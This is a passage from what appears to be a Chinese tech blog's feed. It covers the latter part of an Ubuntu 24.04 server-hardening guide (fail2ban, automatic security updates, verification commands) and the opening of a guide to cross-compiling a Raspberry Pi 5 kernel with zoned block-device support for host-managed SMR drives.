class="code"><pre><span class="line">vim /etc/fail2ban/jail.local</span><br></pre></td></tr></table></figure><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># /etc/fail2ban/jail.local</span></span><br><span class="line"><span class="section">[DEFAULT]</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 初始封禁时长</span></span><br><span class="line"><span class="attr">bantime</span> = <span class="number">1</span>h</span><br><span class="line"></span><br><span class="line"><span class="comment"># 统计失败次数的时间窗口</span></span><br><span class="line"><span class="attr">findtime</span> = <span class="number">10</span>m</span><br><span class="line"></span><br><span class="line"><span class="comment"># 窗口内允许的最大失败次数</span></span><br><span class="line"><span class="attr">maxretry</span> = <span class="number">5</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 同一 IP 累犯时封禁时长按 1、2、4、8……倍递增</span></span><br><span class="line"><span class="attr">bantime.increment</span> = <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="section">[sshd]</span></span><br><span class="line"><span class="attr">enabled</span> = <span class="literal">true</span></span><br><span class="line"><span class="attr">backend</span> = systemd</span><br><span class="line"></span><br><span class="line"><span class="comment"># 与实际 SSH 端口一致，默认端口则写 ssh</span></span><br><span class="line"><span class="attr">port</span> = <span class="number">36022</span></span><br></pre></td></tr></table></figure><p>注意这份配置里的注释全部独立成行，不要图省事写成行内 <code># 注释</code>。fail2ban 的配置解析中 <code>#</code> 只用于整行注释，行内注释要用前面带空格的 <code>;</code>。把 <code>#</code> 写在参数值后面，有被当成参数值一部分解析的风险。</p><p>参数选择的理由：</p><ul><li><code>maxretry = 5</code> / <code>findtime = 10m</code>：10 分钟内失败 5 次即封禁。正常的密钥登录不会产生认证失败记录，私钥 passphrase 在客户端本地验证，输错不会发到服务器，也就触发不了 fail2ban。客户端逐把提交不匹配的密钥，可能在服务器端产生失败记录，或者先触发 MaxAuthTries，3.2 节的 <code>IdentitiesOnly yes</code> 正好可以避免这类问题。爆破脚本则几秒内就会触发阈值。</li><li><code>bantime = 1h</code> 起步配合 <code>bantime.increment</code>：首犯 1 小时足够让绝大多数扫描脚本放弃并转向下一个目标，顽固的 IP 会被递增机制越封越久。不建议一上来就设置一周这种极端值，长封禁的代价是你自己某天误触发时，解封之前从这个 IP 完全进不来。</li><li><code>port</code> 必须与实际 SSH 端口一致。fail2ban 封禁时下发的规则针对具体端口，改了 SSH 端口却忘了同步这里，封禁规则会打在无人使用的 22 端口上，形同虚设。</li></ul><p><strong>3. 启用并验证</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">fail2ban-client -t</span><br><span class="line">systemctl <span class="built_in">enable</span> --now fail2ban</span><br><span class="line">fail2ban-client status sshd</span><br></pre></td></tr></table></figure><p><code>fail2ban-client -t</code> 与前文的 <code>sshd -t</code> 是同一个习惯，先测配置，再启动服务。看到 <code>OK: configuration test is successful</code> 再继续，报错就按输出里的文件名和行号修正 <code>jail.local</code>，不要带着错误配置启动。</p><p>实测在输出 OK 之前还会出现一行 WARNING：<code>'allowipv6' not defined in 'Definition'. Using default one: 'auto'</code>。这是 24.04 自带的 fail2ban 1.0.x 的已知提示，不影响功能。它的含义是 IPv6 支持未显式配置，将按 auto 自动检测，配置是否通过仍以最后那行 OK 为准。如果希望输出保持干净，可以把这个默认值显式写出来：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">tee</span> /etc/fail2ban/fail2ban.<span class="built_in">local</span> &lt;&lt;<span class="string">&#x27;EOF&#x27;</span></span><br><span class="line">[Definition]</span><br><span class="line">allowipv6 = auto</span><br><span class="line">EOF</span><br></pre></td></tr></table></figure><p>注意这项写在 <code>fail2ban.local</code>，而<strong>不是</strong> <code>jail.local</code>。它属于 fail2ban 守护进程本身的配置（对应 <code>fail2ban.conf</code>），与 jail 规则分属两个文件，分层逻辑与 jail.conf/jail.local 相同：conf 归发行版，local 归自己。写完后重新执行 <code>fail2ban-client -t</code>，WARNING 应消失。</p><p>输出里 <code>Currently banned</code> 和 <code>Total banned</code> 一开始都是 0，属于正常。放一天再看，Total banned 的数字会直观反映这层防护拦下了多少东西。如果 sshd jail 启动时报找不到日志，检查 <code>backend = systemd</code> 是否写在 <code>[sshd]</code> 段内，以及 python3-systemd 是否已经安装。</p><p><strong>误封自己怎么办</strong>：从云厂商的网页控制台（VNC/串口，不走 SSH 也就不受 fail2ban 管）登录，执行 <code>fail2ban-client set sshd unbanip &lt;你的IP&gt;</code>，或者干脆换个出口 IP，比如切到手机热点，绕开封禁。</p><h2 id="6-自动安全更新-unattended-upgrades">6 自动安全更新 unattended-upgrades</h2><p>系统加固不是一次性工作，安全补丁会持续发布。对于不希望每天手动维护的个人服务器，将安全更新交给 unattended-upgrades 自动处理，整体收益大于风险。</p><p><strong>1. 确认已安装并启用</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">apt install unattended-upgrades -y    <span class="comment"># Ubuntu Server 通常已预装</span></span><br><span class="line">systemctl status unattended-upgrades</span><br></pre></td></tr></table></figure><p><strong>2. 检查周期任务配置</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /etc/apt/apt.conf.d/20auto-upgrades</span><br></pre></td></tr></table></figure><p>应包含以下两行，没有则补上：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">APT::Periodic::Update-Package-Lists <span class="string">&quot;1&quot;</span>;</span><br><span class="line">APT::Periodic::Unattended-Upgrade <span class="string">&quot;1&quot;</span>;</span><br></pre></td></tr></table></figure><p>这两项分别表示每天刷新软件包索引、每天执行一次无人值守升级。实际执行由 <code>apt-daily.timer</code> 与 <code>apt-daily-upgrade.timer</code> 调度，并带有随机延迟，以避免大量机器在同一时间访问镜像源，因此不会在每天固定时刻运行。可以通过 <code>systemctl list-timers 'apt-daily*'</code> 查看下一次的执行时间。</p><p><strong>3. 核对升级范围</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/apt/apt.conf.d/50unattended-upgrades</span><br></pre></td></tr></table></figure><p>默认的 <code>Allowed-Origins</code> 包含当前发行版的基础仓库（<code>$&#123;distro_id&#125;:$&#123;distro_codename&#125;</code>）、安全更新源 <code>$&#123;distro_codename&#125;-security</code>，以及系统具备 Ubuntu Pro 资格时对应的 ESM 安全源。普通功能更新源 <code>$&#123;distro_codename&#125;-updates</code> 默认保持注释。基础仓库在版本发布后内容基本不再变化，因此日常持续自动安装的实际就是安全更新。功能更新可能改变软件行为，应由管理员在合适的时间手动执行 <code>apt upgrade</code>。具体以机器上这份文件的实际内容为准。</p><p>另外确认一项：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">//Unattended-Upgrade::Automatic-Reboot <span class="string">&quot;false&quot;</span>;</span><br></pre></td></tr></table></figure><p>保持注释状态，即不自动重启。内核安全更新需要重启才能生效，但对外提供服务的机器在半夜自动重启会直接中断所有在线业务，是否重启应由管理员决定。折中做法是登录时留意 motd 中的 <code>*** System restart required ***</code> 提示，选择低峰时段手动重启。</p><p>另一个 24.04 上容易忽略的行为：<code>Automatic-Reboot &quot;false&quot;</code> 只控制整机重启，不控制服务重启。24.04 默认安装 needrestart，它可能在升级完成后自动重启需要重新加载库文件的 systemd 服务，在线业务仍可能出现短暂中断。如果希望改为只提示而不自动重启服务，可以执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p /etc/needrestart/conf.d</span><br><span class="line"><span class="built_in">tee</span> /etc/needrestart/conf.d/99-local.conf &lt;&lt;<span class="string">&#x27;EOF&#x27;</span></span><br><span class="line"><span class="variable">$nrconf</span>&#123;restart&#125; = <span class="string">&#x27;l&#x27;</span>;</span><br><span class="line">EOF</span><br></pre></td></tr></table></figure><p><code>l</code> 表示 list，即只列出需要重启的服务，由管理员自行处理。是否修改需要权衡。自动重启服务可以让补丁及时生效，只提示则把中断时机的控制权留给管理员，但要注意，此时补丁只是写入磁盘，相关进程仍在使用内存中的旧版本，直到手动重启服务后修复才真正生效。对于单人维护、可以接受短暂中断的机器，建议保持默认让 needrestart 自动重启服务。对服务连续性有要求的场景，可以改为 <code>l</code> 并配合固定的维护窗口处理。</p><p><strong>4. 模拟运行测试</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">unattended-upgrade --dry-run --debug</span><br></pre></td></tr></table></figure><p><code>--dry-run</code> 只模拟不执行，输出中可以看到识别了哪些源、当前有哪些包会被自动升级，用于确认逻辑符合预期。</p><h2 id="7-本文没做什么，以及为什么">7 本文没做什么，以及为什么</h2><ul><li><strong>SSH 2FA（TOTP）</strong>：带 passphrase 的私钥能降低私钥文件泄露后被直接滥用的风险。需要指出的是，passphrase 只在客户端本地解锁私钥，服务器无法确认它是否存在，因此它并不等同于服务器强制实施的第二因素。对本文面向的个人服务器而言，强密钥配合 passphrase，再加上客户端自身的安全，已经是合理的取舍。有更高需求时，可以再配置 publickey 与 TOTP 的叠加认证，或者改用硬件保护的 FIDO2 安全密钥。</li><li><strong>端口敲门（port knocking）</strong>：隐蔽性带来的收益低于维护成本，对客户端也不够友好。在已经启用密钥认证的前提下，它要解决的问题基本不存在。</li><li><strong>rootkit 扫描器（rkhunter/chkrootkit）</strong>：这类工具误报率高，规则更新也不及时，在机器未沦陷的前提下价值有限。如果真的怀疑机器已经沦陷，正确的做法是取证后重装系统，而不是在原地清理。</li><li><strong>SELinux / AppArmor 调整</strong>：Ubuntu 默认已启用 AppArmor，并为常见服务加载了配置文件，保持默认即可，无需额外操作。</li><li><strong>修改内核 sysctl 网络参数</strong>：常见加固教程里的不少设置，例如启用 SYN cookies，Ubuntu 默认已经处理。另一些参数（如 rp_filter）的合理取值与网卡数量、策略路由、容器和 VPN 拓扑相关，没有通用的&quot;安全值&quot;。在没有明确威胁模型和业务需求的情况下，不建议机械照抄一整套参数，轻则造成重复配置，重则破坏正常的路由或连接。</li></ul><h2 id="8-验证速查">8 验证速查</h2><p>全部做完后，可以用这几条命令快速核对整体状态：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> sshd -T | grep -Ei <span class="string">&#x27;^(port|passwordauthentication|kbdinteractiveauthentication|permitrootlogin|maxauthtries|logingracetime|x11forwarding|allowusers)\b&#x27;</span>   <span class="comment"># sshd 最终生效配置</span></span><br><span class="line"><span class="built_in">sudo</span> ss -tulpn                            <span class="comment"># 当前监听端口（TCP + UDP）</span></span><br><span class="line"><span class="built_in">sudo</span> ufw status verbose                   <span class="comment"># 防火墙默认策略与规则</span></span><br><span class="line"><span class="built_in">sudo</span> fail2ban-client status sshd          <span class="comment"># 封禁统计</span></span><br><span class="line">lastb | <span class="built_in">head</span>                              <span class="comment"># 最近的失败登录尝试</span></span><br><span class="line">last | <span class="built_in">head</span>                               <span class="comment"># 最近的成功登录，确认没有陌生记录</span></span><br><span class="line"><span class="built_in">cat</span> /var/run/reboot-required 2&gt;/dev/null  <span class="comment"># 是否有待重启的更新</span></span><br></pre></td></tr></table></figure><p>监听端口的检查重点是绑定在 <code>0.0.0.0</code> 和 <code>[::]</code> 上的公网监听。云镜像通常自带监控代理、时间同步等组件，监听列表里不会只有 SSH 一项，这属于正常现象。绑定在 <code>127.0.0.1</code>、<code>::1</code> 或内网地址上的服务，结合用途判断即可。对于无法识别的公网监听，可以根据 <code>ss</code> 输出中的进程名进一步确认它的来源和用途。</p><p><code>sshd -T</code> 需要单独说明。它输出的是所有配置文件合并、first-match 规则应用之后<strong>实际生效</strong>的完整配置。排查&quot;修改后没有生效&quot;这类问题时，以它的输出为准比直接查看配置文件更可靠。另外，<code>sshd -T</code> 显示的是全局配置，如果配置中包含 Match 段，需要用 <code>-C</code> 指定用户、来源地址等连接条件，才能看到对应连接实际匹配的结果。</p><h2 id="结语">结语</h2><p>至此，我们完成了以下配置：</p><ul><li>系统补丁更新与重启</li><li>普通用户 + sudo，root 不再用于日常登录</li><li>SSH 仅密钥登录、禁止 root、限制重试（可选改端口降噪）</li><li>ufw 默认拒绝入站，SSH 端口限速放行</li><li>fail2ban 基于日志的自动封禁</li><li>安全更新自动化，整机重启由人工安排，服务重启按 needrestart 策略处理</li></ul><p>这台服务器现在已经可以放心部署业务了。</p>]]>
    </content>
    <id>https://www.catwhiteangel.com/ubuntu-2404-server-hardening/</id>
    <link href="https://www.catwhiteangel.com/ubuntu-2404-server-hardening/"/>
    <published>2026-07-26T06:13:00.000Z</published>
    <summary>
      <![CDATA[<div class="note info flat"><p>作者声明：本文所有命令均在一台全新的 Ubuntu 24.04 云服务器上实际验证通过。软件版本迭代较快，若实际情况与本文描述存在差异，请以官方文档为准。</p>
</div>
<h1>云服务器到手第一件事——Ubuntu 24.04 安全加固实操</h1>
<p>拿到一台新的云服务器，在部署任何业务之前，需要先完成基础的安全加固工作。本文记录了这台服务器从初始状态到具备基本防护能力的完整操作过程，适用于所有需要长期在公网运行服务的 Ubuntu 24.04 主机。</p>]]>
    </summary>
    <title>云服务器到手第一件事——Ubuntu 24.04 安全加固实操</title>
    <updated>2026-07-26T06:13:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Hardware" scheme="https://www.catwhiteangel.com/categories/Hardware/"/>
    <category term="Raspberry Pi" scheme="https://www.catwhiteangel.com/tags/Raspberry-Pi/"/>
    <category term="SMR" scheme="https://www.catwhiteangel.com/tags/SMR/"/>
    <category term="Kernel Compilation" scheme="https://www.catwhiteangel.com/tags/Kernel-Compilation/"/>
    <category term="Cross Compilation" scheme="https://www.catwhiteangel.com/tags/Cross-Compilation/"/>
    <content>
      <![CDATA[<h1>树莓派 5 内核交叉编译速通——为 HM-SMR 硬盘启用 zoned 支持</h1><p>这是<a href="https://www.catwhiteangel.com/hc620-hm-smr-raspberry-pi-5/">Ultrastar DC HC620 分析与实战——树莓派 5 驱动主机管理式 SMR 硬盘</a>的续篇。前文提过，Raspberry Pi OS 官方内核的 <code>bcm2712_defconfig</code> 没有启用 <code>CONFIG_BLK_DEV_ZONED</code>，主机管理式叠瓦（Host-Managed SMR，HM-SMR）盘接上以后，内核会直接拒绝为它创建块设备节点。所以想用 HC620，自己编译内核这一步省不掉。</p><p>本文的做法是在一台 x86_64 的 Ubuntu Desktop 26.04 虚拟机里交叉编译树莓派内核，打好包传到 Pi 5 上安装。官方内核、设备树和 <code>cmdline.txt</code> 全部原样保留，只在 <code>config.txt</code> 末尾加一行 <code>os_prefix</code> 做启动选择，回滚时删掉这一行重启就行。</p><span id="more"></span><h2 id="环境">环境</h2><table><thead><tr><th>角色</th><th>配置</th></tr></thead><tbody><tr><td>编译机</td><td>Ubuntu Desktop 26.04 虚拟机，x86_64，8 vCPU / 8 GB 内存</td></tr><tr><td>目标机</td><td>Raspberry Pi 5，Raspberry Pi OS（64-bit）</td></tr><tr><td>内核源码</td><td><code>raspberrypi/linux</code>，分支 <code>rpi-6.18.y</code></td></tr></tbody></table><p>分支跟着目标机走，不用特意挑。在 Pi 上执行 <code>uname -r</code>，看当前内核属于哪个系列，目标机为 <code>6.18.34+rpt-rpi-2712</code>，选同系列的分支即可。本文写作时，<code>rpi-6.18.y</code> 的最新版本是 <code>6.18.39 Commit 820b5b663</code>。</p><h2 id="1-编译机准备">1 编译机准备</h2><p>装工具链和内核构建依赖：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install git bc bison flex libssl-dev make libc6-dev \</span><br><span class="line">  libncurses-dev crossbuild-essential-arm64</span><br></pre></td></tr></table></figure><p><code>crossbuild-essential-arm64</code> 会带上 <code>aarch64-linux-gnu-gcc</code> 全套交叉工具链。</p><h2 id="2-获取源码">2 获取源码</h2><p>只要当前分支最新提交，浅克隆省时间省空间：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> --depth=1 --branch rpi-6.18.y https://github.com/raspberrypi/linux.git</span><br><span class="line"><span class="built_in">cd</span> linux</span><br><span class="line">git rev-parse --short HEAD   <span class="comment"># 记下提交号，真机结果对应确切源码</span></span><br></pre></td></tr></table></figure><h2 id="3-配置">3 配置</h2><p>先应用官方默认配置，再用 <code>scripts/config</code> 脚本修改差异。这种方式比在 menuconfig 中逐项翻菜单更容易复现，后续跟版重编时直接重放这几条命令即可。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- bcm2712_defconfig</span><br><span class="line"></span><br><span class="line">./scripts/config \</span><br><span class="line">  --<span class="built_in">enable</span>  CONFIG_BLK_DEV_ZONED \</span><br><span class="line">  --module  CONFIG_DM_ZONED \</span><br><span class="line">  --module  CONFIG_ZONEFS_FS \</span><br><span class="line">  --module  CONFIG_BTRFS_FS \</span><br><span class="line">  --<span class="built_in">disable</span> CONFIG_ARM64_16K_PAGES \</span><br><span class="line">  --<span class="built_in">enable</span>  CONFIG_ARM64_4K_PAGES \</span><br><span class="line">  --set-str CONFIG_LOCALVERSION <span class="string">&quot;-v8-4k-zoned&quot;</span></span><br><span class="line"></span><br><span class="line">make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- olddefconfig   <span class="comment"># olddefconfig 将其余选项按依赖规则补齐默认值，全程非交互</span></span><br></pre></td></tr></table></figure><p>各项配置的作用如下：<code>CONFIG_BLK_DEV_ZONED</code> 是通用块层的 zoned 支持开关，启用后 SCSI 磁盘驱动中的 ZBC（Zoned Block Commands）支持会随之构建。<code>CONFIG_DM_ZONED</code> 与 <code>CONFIG_ZONEFS_FS</code> 是两条可选的上层使用路径，本文编译为模块，按需加载。btrfs 的 zoned 模式没有单独的配置项，只需启用普通的 <code>CONFIG_BTRFS_FS</code>，本文同样显式设为模块，避免依赖未来版本的 defconfig。</p><p>页大小方面，Pi 5 的 <code>bcm2712_defconfig</code> 默认使用 16K 页。启用 zoned block support 本身并不要求改成 4K，本文仍选择 4K 页。除了与前文已验证的 btrfs、dm-zoned 和用户态工具环境保持一致、减少排障时的变量之外，还有两个更实际的考虑。</p><p>先看 16K sectorsize 的情况。常规配置的 6.18 系内核中，16K 页下的 Btrfs 支持 4K 和 16K 两种 sectorsize。文件系统一旦使用 16K sectorsize，普通的 4K 页内核就无法直接挂载，发生故障时不能把硬盘接到常见的 x86_64 PC 上直接救援。Linux 6.18 开始提供“block size 大于 page size”的基础支持，启用 <code>CONFIG_BTRFS_EXPERIMENTAL</code> 的 4K 页内核可以处理 16K sectorsize，但这条路径仍属实验功能，存在多项限制，不适合作为常规救援手段。</p><p>再看 4K sectorsize 的情况。在 16K 页内核上使用 4K sectorsize 时，普通 Btrfs 会进入 subpage 模式。该模式从 Linux 6.15 起移除了实验性警告，到 6.18 已经相对完整并经过测试，但原生 btrfs zoned 与 subpage blocksize 的组合尚未实现。要让 Btrfs 以原生 zoned 模式运行在 HM-SMR 设备上，sectorsize 仍需与内核页大小保持一致。把 Pi 5 内核改成 4K 页后，既可以走原生的 4K sectorsize 路径，也保留了把硬盘接到普通 4K 页 Linux PC 上直接挂载和救援的能力。</p><p>如果走 dm-zoned 路径，Btrfs 面对的是 dm-zoned 暴露出来的普通块设备，不会进入原生 btrfs zoned 模式，此时 16K 页加 4K sectorsize 的普通 subpage 路径在 6.18 中已经可用。不过，为了统一前文的三条实验路径并保留跨机器救援的兼容性，本文统一采用 4K 页。保留默认的 16K 页也可行，但需要根据实际使用的原生 btrfs zoned、dm-zoned 或 zonefs 路径分别做实机验证。</p><p><code>LOCALVERSION</code> 用于给自编内核设置独立名称，使其模块安装到单独的 <code>/lib/modules/&lt;kernelrelease&gt;/</code> 目录中，不与官方内核模块混用。</p><p>修改完成后验证一遍，注意确认 16K 页确实已关闭。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep -E <span class="string">&#x27;CONFIG_LOCALVERSION=|CONFIG_ARM64_(4K|16K)_PAGES|CONFIG_BLK_DEV_ZONED|CONFIG_DM_ZONED|CONFIG_BTRFS_FS=|CONFIG_ZONEFS_FS&#x27;</span> .config</span><br></pre></td></tr></table></figure><p>预期的关键配置行如下：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">CONFIG_LOCALVERSION=&quot;-v8-4k-zoned&quot;</span><br><span class="line">CONFIG_ARM64_4K_PAGES=y</span><br><span class="line"># CONFIG_ARM64_16K_PAGES is not set</span><br><span class="line">CONFIG_BLK_DEV_ZONED=y</span><br><span class="line"># CONFIG_BLK_DEV_ZONED_LOOP is not set</span><br><span class="line">CONFIG_DM_ZONED=m</span><br><span class="line">CONFIG_BTRFS_FS=m</span><br><span class="line">CONFIG_ZONEFS_FS=m</span><br></pre></td></tr></table></figure><h2 id="4-编译">4 编译</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">make -j$(<span class="built_in">nproc</span>) ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- Image.gz modules dtbs</span><br></pre></td></tr></table></figure><p>编译完成后记录完整内核版本号（基础版本 + LOCALVERSION），后续验证环节需要与其对照：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">make -s ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- kernelrelease</span><br><span class="line"><span class="comment"># 本文实测：6.18.39-v8-4k-zoned+</span></span><br></pre></td></tr></table></figure><p>在 8 vCPU / 8 GB 内存的虚拟机上，本次编译用时约 17 分钟。</p><h2 id="5-打包产物">5 打包产物</h2><p>将自编内核的全部启动产物放入独立的 <code>zoned/</code> 目录，后续通过固件的 <code>os_prefix</code> 机制按目录整体切换，不覆盖官方内核、设备树、overlays 和 <code>cmdline.txt</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">rm</span> -rf dist</span><br><span class="line"><span class="built_in">mkdir</span> -p dist/firmware/zoned/overlays</span><br><span class="line"></span><br><span class="line">make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- \</span><br><span class="line">  INSTALL_MOD_PATH=<span class="string">&quot;<span class="variable">$PWD</span>/dist&quot;</span> INSTALL_MOD_STRIP=1 modules_install</span><br><span class="line"></span><br><span class="line"><span class="built_in">cp</span> <span class="built_in">arch</span>/arm64/boot/Image.gz dist/firmware/zoned/kernel_2712.img</span><br><span class="line"><span class="built_in">cp</span> <span class="built_in">arch</span>/arm64/boot/dts/broadcom/bcm2712*.dtb dist/firmware/zoned/</span><br><span class="line"><span class="built_in">cp</span> <span class="built_in">arch</span>/arm64/boot/dts/overlays/*.dtb* dist/firmware/zoned/overlays/</span><br><span class="line"><span class="built_in">cp</span> <span class="built_in">arch</span>/arm64/boot/dts/overlays/README dist/firmware/zoned/overlays/</span><br><span class="line"></span><br><span class="line">tar czf pi-kernel-zoned.tar.gz -C dist .</span><br></pre></td></tr></table></figure><p><code>Image.gz</code> 直接改名后即可作为树莓派固件可引导的内核镜像，固件根据文件内容判断压缩格式，不依赖扩展名。镜像命名为 <code>kernel_2712.img</code>，因为这是 Pi 5 固件的默认查找名，配合 <code>os_prefix</code> 使用就无需再添加 <code>kernel=</code> 配置行。<code>INSTALL_MOD_STRIP=1</code> 用于去除模块的调试符号，可以显著减小模块体积。</p><p>将压缩包传到 Pi：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">scp pi-kernel-zoned.tar.gz &lt;树莓派用户名&gt;@&lt;树莓派地址&gt;:~/</span><br></pre></td></tr></table></figure><h2 id="6-树莓派上安装">6 树莓派上安装</h2><p>解包并安装。这组命令采用先删后装的方式，首次安装、同版本重编和跟版更新都适用，不会残留旧文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">rm</span> -rf dist &amp;&amp; <span class="built_in">mkdir</span> dist</span><br><span class="line">tar xzf pi-kernel-zoned.tar.gz -C dist</span><br><span class="line"></span><br><span class="line">KREL=$(<span class="built_in">basename</span> <span class="string">&quot;<span class="subst">$(find dist/lib/modules -mindepth 1 -maxdepth 1 -type d)</span>&quot;</span>)</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">rm</span> -rf <span class="string">&quot;/lib/modules/<span class="variable">$KREL</span>&quot;</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">cp</span> -a <span class="string">&quot;dist/lib/modules/<span class="variable">$KREL</span>&quot;</span> /lib/modules/</span><br><span class="line"><span class="built_in">sudo</span> depmod -a <span class="string">&quot;<span class="variable">$KREL</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">rm</span> -rf /boot/firmware/zoned</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">cp</span> -r dist/firmware/zoned /boot/firmware/</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">cp</span> /boot/firmware/cmdline.txt /boot/firmware/zoned/cmdline.txt</span><br></pre></td></tr></table></figure><p><code>/boot/firmware/config.txt</code> 末尾追加：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[all]</span></span><br><span class="line"><span class="attr">os_prefix</span>=zoned/</span><br></pre></td></tr></table></figure><p><code>[all]</code> 用于清除 config.txt 中此前可能生效的条件过滤段（如 <code>[cm4]</code>、<code>[pi4]</code>），保证这行配置对 Pi 5 生效。固件会到 <code>zoned/</code> 目录中按默认名称查找内核、设备树、overlays 和 <code>cmdline.txt</code>，原有的对应文件均保持不变。固件启动时会先检查 <code>zoned/</code> 中是否存在预期的内核和设备树，关键文件缺失时会忽略该前缀并回退到原有启动文件。这是一层基本保护，但并不等于事务式更新。如果复制中途断掉，缺失的又只是 overlays 或 <code>cmdline.txt</code>，前缀仍可能通过检查，系统会带着不完整的文件启动。因此重启前应当确认关键文件全部就位：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> <span class="built_in">test</span> -s /boot/firmware/zoned/kernel_2712.img &amp;&amp;</span><br><span class="line">   <span class="built_in">test</span> -s /boot/firmware/zoned/bcm2712-rpi-5-b.dtb &amp;&amp;</span><br><span class="line">   <span class="built_in">test</span> -s /boot/firmware/zoned/cmdline.txt &amp;&amp;</span><br><span class="line">   <span class="built_in">test</span> -s /boot/firmware/zoned/overlays/README &amp;&amp;</span><br><span class="line">   find /boot/firmware/zoned/overlays -maxdepth 1 -name <span class="string">&#x27;*.dtbo&#x27;</span> -<span class="built_in">print</span> -quit | grep -q .</span><br><span class="line"><span class="keyword">then</span></span><br><span class="line">  <span class="built_in">echo</span> <span class="string">&quot;启动文件检查通过&quot;</span></span><br><span class="line">  <span 